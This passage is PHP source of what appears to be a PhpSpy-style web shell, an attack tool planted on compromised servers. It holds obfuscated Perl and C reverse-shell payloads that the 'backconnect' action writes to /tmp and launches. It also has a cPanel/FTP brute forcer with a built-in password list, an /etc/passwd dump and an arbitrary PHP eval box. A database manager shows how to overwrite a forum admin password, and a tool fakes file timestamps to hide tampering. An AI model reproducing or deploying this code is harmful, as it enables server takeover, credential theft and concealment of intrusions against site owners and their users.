	p(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">\');
	p(\'<h2>Upload file</h2>\');
	p(\'<p><b>This operation the DB user must has FILE privilege</b></p>\');
	p(\'<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\\'mysqlupload\\');">Upload</a></p>\');
	p(\'<h2>Download file</h2>\');
	p(\'<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\\'mysqldown\\');">Download</a></p>\');
	makehide(\'dbhost\');
	makehide(\'dbport\');
	makehide(\'dbuser\');
	makehide(\'dbpass\');
	makehide(\'dbname\');
	makehide(\'charset\');
	makehide(\'doing\');
	makehide(\'action\',\'sqlfile\');
	p(\'</form>\');
}

elseif ($action == \'sqladmin\') {
	!$dbhost && $dbhost = \'localhost\';
	!$dbuser && $dbuser = \'root\';
	!$dbport && $dbport = \'3306\';
	$dbform = \'<input type="hidden" id="connect" name="connect" value="1" />\';
	if(isset($dbhost)){
		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
	}
	if(isset($dbuser)) {
		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
	}
	if(isset($dbpass)) {
		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
	}
	if(isset($dbport)) {
		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
	}
	if(isset($dbname)) {
		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
	}
	if(isset($charset)) {
		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
	}

	if ($doing == \'backupmysql\' && $saveasfile) {
		if (!$table) {
			m(\'Please choose the table\');
		} else {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			$table = array_flip($table);
			$fp = @fopen($path,\'w\');
			if ($fp) {
				$result = q(\'SHOW tables\');
				if (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');
				$mysqldata = \'\';
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $fp);
					}
				}
				fclose($fp);
				$fileurl = str_replace(SA_ROOT,\'\',$path);
				m(\'Database has success backup to <a href="\'.$fileurl.\'" target="_blank">\'.$path.\'</a>\');
				mysql_close();
			} else {
				m(\'Backup failed\');
			}
		}
	}
	if ($insert && $insertsql) {
		$keystr = $valstr = $tmp = \'\';
		foreach($insertsql as $key => $val) {
			if ($val) {
				$keystr .= $tmp.$key;
				$valstr .= $tmp."\'".addslashes($val)."\'";
				$tmp = \',\';
			}
		}
		if ($keystr && $valstr) {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? \'Insert new record of success\' : mysql_error());
		}
	}
	if ($update && $insertsql && $base64) {
		$valstr = $tmp = \'\';
		foreach($insertsql as $key => $val) {
			$valstr .= $tmp.$key."=\'".addslashes($val)."\'";
			$tmp = \',\';
		}
		if ($valstr) {
			$where = base64_decode($base64);
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? \'Record updating\' : mysql_error());
		}
	}
	if ($doing == \'del\' && $base64) {
		$where = base64_decode($base64);
		$delete_sql = "DELETE FROM $tablename WHERE $where";
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		m(q("DELETE FROM $tablename WHERE $where") ? \'Deletion record of success\' : mysql_error());
	}

	if ($tablename && $doing == \'drop\') {
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		if (q("DROP TABLE $tablename")) {
			m(\'Drop table of success\');
			$tablename = \'\';
		} else {
			m(mysql_error());
		}
	}

	$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');

	formhead(array(\'title\'=>\'MYSQL Manager\'));
	makehide(\'action\',\'sqladmin\');
	p(\'<p>\');
	p(\'DBHost:\');
	makeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));
	p(\':\');
	makeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));
	p(\'DBUser:\');
	makeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));
	p(\'DBPass:\');
	makeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));
	p(\'DBCharset:\');
	makeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));
	makeinput(array(\'name\'=>\'connect\',\'value\'=>\'Connect\',\'type\'=>\'submit\',\'class\'=>\'bt\'));
	p(\'</p>\');
	formfoot();
?>

<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == \'del\') {
		if (!confirm(\'Is or isn\\'t deletion record?\')) return;
	}
	$(\'recordlist\').doing.value=action;
	$(\'recordlist\').base64.value=base64;
	$(\'recordlist\').tablename.value=tablename;
	$(\'recordlist\').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$(\'setdbname\').dbname.value=dbname;
	$(\'setdbname\').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$(\'settable\').doing.value=doing;
	}
	if (page) {
		$(\'settable\').page.value=page;
	}
	$(\'settable\').tablename.value=tablename;
	$(\'settable\').submit();
}
</script>
<?php
	// SQL
	formhead(array(\'name\'=>\'recordlist\'));
	makehide(\'doing\');
	makehide(\'action\',\'sqladmin\');
	makehide(\'base64\');
	makehide(\'tablename\');
	p($dbform);
	formfoot();

	// Data
	formhead(array(\'name\'=>\'setdbname\'));
	makehide(\'action\',\'sqladmin\');
	p($dbform);
	if (!$dbname) {
		makehide(\'dbname\');
	}
	formfoot();


	formhead(array(\'name\'=>\'settable\'));
	makehide(\'action\',\'sqladmin\');
	p($dbform);
	makehide(\'tablename\');
	makehide(\'page\',$page);
	makehide(\'doing\');
	formfoot();

	$cachetables = array();
	$pagenum = 30;
	$page = intval($page);
	if($page) {
		$start_limit = ($page - 1) * $pagenum;
	} else {
		$start_limit = 0;
		$page = 1;
	}
	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		// get mysql server
		$mysqlver = mysql_get_server_info();
		p(\'<p>MySQL \'.$mysqlver.\' running in \'.$dbhost.\' as \'.$dbuser.\'@\'.$dbhost.\'</p>\');
		$highver = $mysqlver > \'4.1\' ? 1 : 0;

		// Show database
		$query = q("SHOW DATABASES");
		$dbs = array();
		$dbs[] = \'-- Select a database --\';
		while($db = mysql_fetch_array($query)) {
			$dbs[$db[\'Database\']] = $db[\'Database\'];
		}
		makeselect(array(\'title\'=>\'Please select a database:\',\'name\'=>\'db[]\',\'option\'=>$dbs,\'selected\'=>$dbname,\'onchange\'=>\'moddbname(this.options[this.selectedIndex].value)\',\'newline\'=>1));
		$tabledb = array();
		if ($dbname) {
			p(\'<p>\');
			p(\'Current dababase: <a href="javascript:moddbname(\\'\'.$dbname.\'\\');">\'.$dbname.\'</a>\');
			if ($tablename) {
				p(\' | Current Table: <a href="javascript:settable(\\'\'.$tablename.\'\\');">\'.$tablename.\'</a> [ <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'insert\\');">Insert</a> | <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'structure\\');">Structure</a> | <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'drop\\');">Drop</a> ]\');
			}
			p(\'</p>\');
			mysql_select_db($dbname);

			$getnumsql = \'\';
			$runquery = 0;
			if ($sql_query) {
				$runquery = 1;
			}
			$allowedit = 0;
			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename";
				$getnumsql = $sql_query;
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
				$allowedit = 1;
			}
			p(\'<form action="\'.$self.\'" method="POST">\');
			p(\'<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>\'.$dbname.\'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \\'69e53e5ab9536e55d31ff533aefc4fbe\\', salt = \\'p5T\\' WHERE `userid` = \\'1\\' </font>

			</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">\'.htmlspecialchars($sql_query,ENT_QUOTES).\'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>\');
			makehide(\'tablename\', $tablename);
			makehide(\'action\',\'sqladmin\');
			p($dbform);
			p(\'</form>\');
			if ($tablename || ($runquery && $sql_query)) {
				if ($doing == \'structure\') {
					$result = q("SHOW COLUMNS FROM $tablename");
					$rowdb = array();
					while($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					p(\'<table border="0" cellpadding="3" cellspacing="0">\');
					p(\'<tr class="head">\');
					p(\'<td>Field</td>\');
					p(\'<td>Type</td>\');
					p(\'<td>Null</td>\');
					p(\'<td>Key</td>\');
					p(\'<td>Default</td>\');
					p(\'<td>Extra</td>\');
					p(\'</tr>\');
					foreach ($rowdb as $row) {
						$thisbg = bg();
						p(\'<tr class="fout" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'fout\\';">\');
						p(\'<td>\'.$row[\'Field\'].\'</td>\');
						p(\'<td>\'.$row[\'Type\'].\'</td>\');
						p(\'<td>\'.$row[\'Null\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Key\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Default\'].\'&nbsp;</td>\');
						p(\'<td>\'.$row[\'Extra\'].\'&nbsp;</td>\');
						p(\'</tr>\');
					}
					tbfoot();
				} elseif ($doing == \'insert\' || $doing == \'edit\') {
					$result = q(\'SHOW COLUMNS FROM \'.$tablename);
					while ($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					$rs = array();
					if ($doing == \'insert\') {
						p(\'<h2>Insert new line in \'.$tablename.\' table &raquo;</h2>\');
					} else {
						p(\'<h2>Update record in \'.$tablename.\' table &raquo;</h2>\');
						$where = base64_decode($base64);
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
						$rs = mysql_fetch_array($result);
					}
					p(\'<form method="post" action="\'.$self.\'">\');
					p($dbform);
					makehide(\'action\',\'sqladmin\');
					makehide(\'tablename\',$tablename);
					p(\'<table border="0" cellpadding="3" cellspacing="0">\');
					foreach ($rowdb as $row) {
						if ($rs[$row[\'Field\']]) {
							$value = htmlspecialchars($rs[$row[\'Field\']]);
						} else {
							$value = \'\';
						}
						$thisbg = bg();
						p(\'<tr class="fout" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'fout\\';">\');
						p(\'<td><b>\'.$row[\'Field\'].\'</b><br />\'.$row[\'Type\'].\'</td><td><textarea class="area" name="insertsql[\'.$row[\'Field\'].\']" style="width:500px;height:60px;overflow:auto;">\'.$value.\'</textarea></td></tr>\');
					}
					if ($doing == \'insert\') {
						p(\'<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>\');
					} else {
						p(\'<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>\');
						makehide(\'base64\', $base64);
					}
					p(\'</table></form>\');
				} else {
					$querys = @explode(\';\',$sql_query);
					foreach($querys as $num=>$query) {
						if ($query) {
							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
							switch(qy($query))
							{
								case 0:
									p(\'<h2>Error : \'.mysql_error().\'</h2>\');
									break;
								case 1:
									if (strtolower(substr($query,0,13)) == \'select * from\') {
										$allowedit = 1;
									}
									if ($getnumsql) {
										$tatol = mysql_num_rows(q($getnumsql));
										$multipage = multi($tatol, $pagenum, $page, $tablename);
									}
									if (!$tablename) {
										$sql_line = str_replace(array("\r", "\n", "\t"), array(\' \', \' \', \' \'), trim(htmlspecialchars($query)));
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
										$tablename = $matches[1][0];
									}
									$result = q($query);
									p($multipage);
									p(\'<table border="0" cellpadding="3" cellspacing="0">\');
									p(\'<tr class="head">\');
									if ($allowedit) p(\'<td>Action</td>\');
									$fieldnum = @mysql_num_fields($result);
									for($i=0;$i<$fieldnum;$i++){
										$name = @mysql_field_name($result, $i);
										$type = @mysql_field_type($result, $i);
										$len = @mysql_field_len($result, $i);
										p("<td nowrap>$name<br><span>$type($len)</span></td>");
									}
									p(\'</tr>\');
									while($mn = @mysql_fetch_assoc($result)){
										$thisbg = bg();
										p(\'<tr class="fout" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'fout\\';">\');
										$where = $tmp = $b1 = \'\';
										foreach($mn as $key=>$inside){
											if ($inside) {
												$where .= $tmp.$key."=\'".addslashes($inside)."\'";
												$tmp = \' AND \';
											}
											$b1 .= \'<td nowrap>\'.html_clean($inside).\'&nbsp;</td>\';
										}
										$where = base64_encode($where);
										if ($allowedit) p(\'<td nowrap><a href="javascript:editrecord(\\'edit\\', \\'\'.$where.\'\\', \\'\'.$tablename.\'\\');">Edit</a> | <a href="javascript:editrecord(\\'del\\', \\'\'.$where.\'\\', \\'\'.$tablename.\'\\');">Del</a></td>\');
										p($b1);
										p(\'</tr>\');
										unset($b1);
									}
									tbfoot();
									p($multipage);
									break;
								case 2:
									$ar = mysql_affected_rows();
									p(\'<h2>affected rows : <b>\'.$ar.\'</b></h2>\');
									break;
							}
						}
					}
				}
			} else {
				$query = q("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = mysql_fetch_array($query)) {
					$data_size = $data_size + $table[\'Data_length\'];
					$table_rows = $table_rows + $table[\'Rows\'];
					$table[\'Data_length\'] = sizecount($table[\'Data_length\']);
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				p(\'<table border="0" cellpadding="0" cellspacing="0">\');
				p(\'<form action="\'.$self.\'" method="POST">\');
				makehide(\'action\',\'sqladmin\');
				p($dbform);
				p(\'<tr class="head">\');
				p(\'<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>\');
				p(\'<td>Name</td>\');
				p(\'<td>Rows</td>\');
				p(\'<td>Data_length</td>\');
				p(\'<td>Create_time</td>\');
				p(\'<td>Update_time</td>\');
				if ($highver) {
					p(\'<td>Engine</td>\');
					p(\'<td>Collation</td>\');
				}
				p(\'</tr>\');
				foreach ($tabledb as $key => $table) {
					$thisbg = bg();
					p(\'<tr class="fout" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'fout\\';">\');
					p(\'<td align="center" width="2%"><input type="checkbox" name="table[]" value="\'.$table[\'Name\'].\'" /></td>\');
					p(\'<td><a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\');">\'.$table[\'Name\'].\'</a> [ <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'insert\\');">Insert</a> | <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'structure\\');">Structure</a> | <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'drop\\');">Drop</a> ]</td>\');
					p(\'<td>\'.$table[\'Rows\'].\'</td>\');
					p(\'<td>\'.$table[\'Data_length\'].\'</td>\');
					p(\'<td>\'.$table[\'Create_time\'].\'</td>\');
					p(\'<td>\'.$table[\'Update_time\'].\'</td>\');
					if ($highver) {
						p(\'<td>\'.$table[\'Engine\'].\'</td>\');
						p(\'<td>\'.$table[\'Collation\'].\'</td>\');
					}
					p(\'</tr>\');
				}
				p(\'<tr class=fout>\');
				p(\'<td>&nbsp;</td>\');
				p(\'<td>Total tables: \'.$table_num.\'</td>\');
				p(\'<td>\'.$table_rows.\'</td>\');
				p(\'<td>\'.$data_size.\'</td>\');
				p(\'<td colspan="\'.($highver ? 4 : 2).\'">&nbsp;</td>\');
				p(\'</tr>\');

				p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER[\'HTTP_HOST\']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
				makehide(\'doing\',\'backupmysql\');
				formfoot();
				p("</table>");
				fr($query);
			}
		}
	}
	tbfoot();
	@mysql_close();
}//end sql backup


elseif ($action == \'backconnect\') {
	!$yourip && $yourip = $_SERVER[\'REMOTE_ADDR\'];
	!$yourport && $yourport = \'12345\';
	$usedb = array(\'perl\'=>\'perl\',\'c\'=>\'c\');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($start && $yourip && $yourport && $use){
		if ($use == \'perl\') {
			cf(\'/tmp/angel_bc\',$back_connect);
			$res = execute(which(\'perl\')." /tmp/angel_bc $yourip $yourport &");
		} else {
			cf(\'/tmp/angel_bc.c\',$back_connect_c);
			$res = execute(\'gcc -o /tmp/angel_bc /tmp/angel_bc.c\');
			@unlink(\'/tmp/angel_bc.c\');
			$res = execute("/tmp/angel_bc $yourip $yourport &");
		}
		m("Now script try connect to $yourip port $yourport ...");
	}

	formhead(array(\'title\'=>\'Back Connect\'));
	makehide(\'action\',\'backconnect\');
	p(\'<p>\');
	p(\'Your IP:\');
	makeinput(array(\'name\'=>\'yourip\',\'size\'=>20,\'value\'=>$yourip));
	p(\'Your Port:\');
	makeinput(array(\'name\'=>\'yourport\',\'size\'=>15,\'value\'=>$yourport));
	p(\'Use:\');
	makeselect(array(\'name\'=>\'use\',\'option\'=>$usedb,\'selected\'=>$use));
	makeinput(array(\'name\'=>\'start\',\'value\'=>\'Start\',\'type\'=>\'submit\',\'class\'=>\'bt\'));
	p(\'</p>\');
	formfoot();
}//end backconnect window via NC

// Brute
elseif ($action == \'brute\') {
formhead(array(\'title\'=>\'Brute Forcer\'));
	makehide(\'action\',\'brute\');
	makehide(\'dir\',$brute);
@ini_set(\'memory_limit\', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST[\'submit\'];
$users = $_REQUEST[\'users\'];
$pass = $_REQUEST[\'passwords\'];
$target = $_REQUEST[\'target\'];
$option = $_REQUEST[\'option\'];


$passlist = "0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
25251325
passw0rds";
if($target == \'\'){
$target = \'localhost\';
}
print " <div align=\'center\'>

<form method=\'post\' style=\'border: 1px solid #000000\'><br><br>
<TABLE style=\'BORDER-COLLAPSE: collapse\' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width=\'40%\' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target  : </font><input type=\'text\' name=\'target\' size=\'16\' value= $target style=\'border: font-family:tahoma; font-weight:bold;\'></p></font></b></p>
<div align=\'center\'><br>
<TABLE style=\'BORDER-COLLAPSE: collapse\' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width=\'50%\' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align=\'center\'>
<b>Username</b></td>
<td>
<p align=\'center\'>
<b>Password</b></td>
</tr>
</table>

<p align=\'center\'>
<textarea rows=\'20\' name=\'users\' cols=\'25\' style=\'border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0\'>";
$i = 0;
while ($i < 60000) {

    $line = posix_getpwuid($i);
    if (!empty($line)) {

        while (list ($key, $vba_etcpwd) = each($line)){
            echo "".$vba_etcpwd."\n";
            break;
        }

    }

   $i++;
}
echo "
</textarea>
<textarea rows=\'20\' name=\'passwords\' cols=\'25\' style=\'border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0\'>$passlist</textarea><br>
<br>
<b>Options : </span><input name=\'option\' value=\'cpanel\' style=\'font-weight: 700;\' checked type=\'radio\'> cPanel
<input name=\'option\' value=\'ftp\' style=\'font-weight: 700;\' type=\'radio\'> ftp ==> <input type=\'submit\' value=\'Attack\' name=\'submit\' ></p>
</td></tr></table></td></tr></form><p align= \'left\'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {

print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}

elseif ( curl_errno($ch) == 0 ){

p("<b>[ [email protected] ]# </b>

<b> Attacking has been done! Username: <font color=\'#FF0000\'> $user </font> / Password:<font color=\'#FF0000\'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);}

function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){

p("<b>[ [email protected] ]# </b><b>Attacking has been done!</a> Username: <font color=\'#FF0000\'> $user </font> / Password:<font color=\'#FF0000\'> $pass </font></b><br>");}curl_close($ch);}

if(isset($submit) && !empty($submit)){

$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
p(\'<b>[ [email protected] ]# Attacking ...</font></b><br>\');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}

	formfoot();
}






elseif ($action == \'etcpwd\') {
formhead(array(\'title\'=>\'Get /etc/passwd\'));
	makehide(\'action\',\'etcpwd\');
	makehide(\'dir\',$nowpath);
$i = 0;
 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {

    $line = posix_getpwuid($i);
    if (!empty($line)) {

        while (list ($key, $vba_etcpwd) = each($line)){
            echo "".$vba_etcpwd."\n";
            break;
        }

    }

   $i++;
}
  echo "</textarea></p>";
	formfoot();
}

elseif ($action == \'eval\') {
	$phpcode = trim($phpcode);
	if($phpcode){
		if (!preg_match(\'#<\?#si\', $phpcode)) {
			$phpcode = "<?php\n\n{$phpcode}\n\n?>";
		}
		eval("?".">$phpcode<?");
	}
	formhead(array(\'title\'=>\'Eval PHP Code\'));
	makehide(\'action\',\'eval\');
	maketext(array(\'title\'=>\'PHP Code\',\'name\'=>\'phpcode\', \'value\'=>$phpcode));
	p(\'<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>\');
	formfooter();
}//end eval

elseif ($action == \'editfile\') {
	if(file_exists($opfile)) {
		$fp=@fopen($opfile,\'r\');
		$contents=@fread($fp, filesize($opfile));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array(\'title\'=>\'Create / Edit File\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Current File (import new file name and new file)\',\'name\'=>\'editfilename\',\'value\'=>$opfile,\'newline\'=>1));
	maketext(array(\'title\'=>\'File Content\',\'name\'=>\'filecontent\',\'value\'=>$contents));
	formfooter();
}//end editfile

elseif ($action == \'newtime\') {
	$opfilemtime = @filemtime($opfile);
	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
	$cachemonth = array(\'January\'=>1,\'February\'=>2,\'March\'=>3,\'April\'=>4,\'May\'=>5,\'June\'=>6,\'July\'=>7,\'August\'=>8,\'September\'=>9,\'October\'=>10,\'November\'=>11,\'December\'=>12);
	formhead(array(\'title\'=>\'Clone file was last modified time\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Alter file\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));
	makeinput(array(\'title\'=>\'Reference file (fullpath)\',\'name\'=>\'tarfile\',\'size\'=>120,\'newline\'=>1));
	formfooter();
	formhead(array(\'title\'=>\'Set last modified\'));
	makehide(\'action\',\'file\');
	makehide(\'dir\',$nowpath);
	makeinput(array(\'title\'=>\'Current file (fullpath)\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));
	p(\'<p>Instead &raquo;\');
	p(\'year:\');
	makeinput(array(\'name\'=>\'year\',\'value\'=>date(\'Y\',$opfilemtime),\'size\'=>4));
	p(\'month:\');
	makeinput(array(\'name\'=>\'month\',\'value\'=>date(\'m\',$opfilemtime),\'size\'=>2));
	p(\'day:\');
	makeinput(array(\'name\'=>\'day\',\'value\'=>date(\'d\',$opfilemtime),\'size\'=>2));
	p(\'hour:\');
	makeinput(array(\'name\'=>\'hour\',\'value\'=>date(\'H\',$opfilemtime),\'size\'=>2));
	p(\'minute:\');
	makeinput(array(\'name\'=>\'minute\',\'value\'=>date(\'i\',$opfilemtime),\'size\'=>2));
	p(\'second:\');
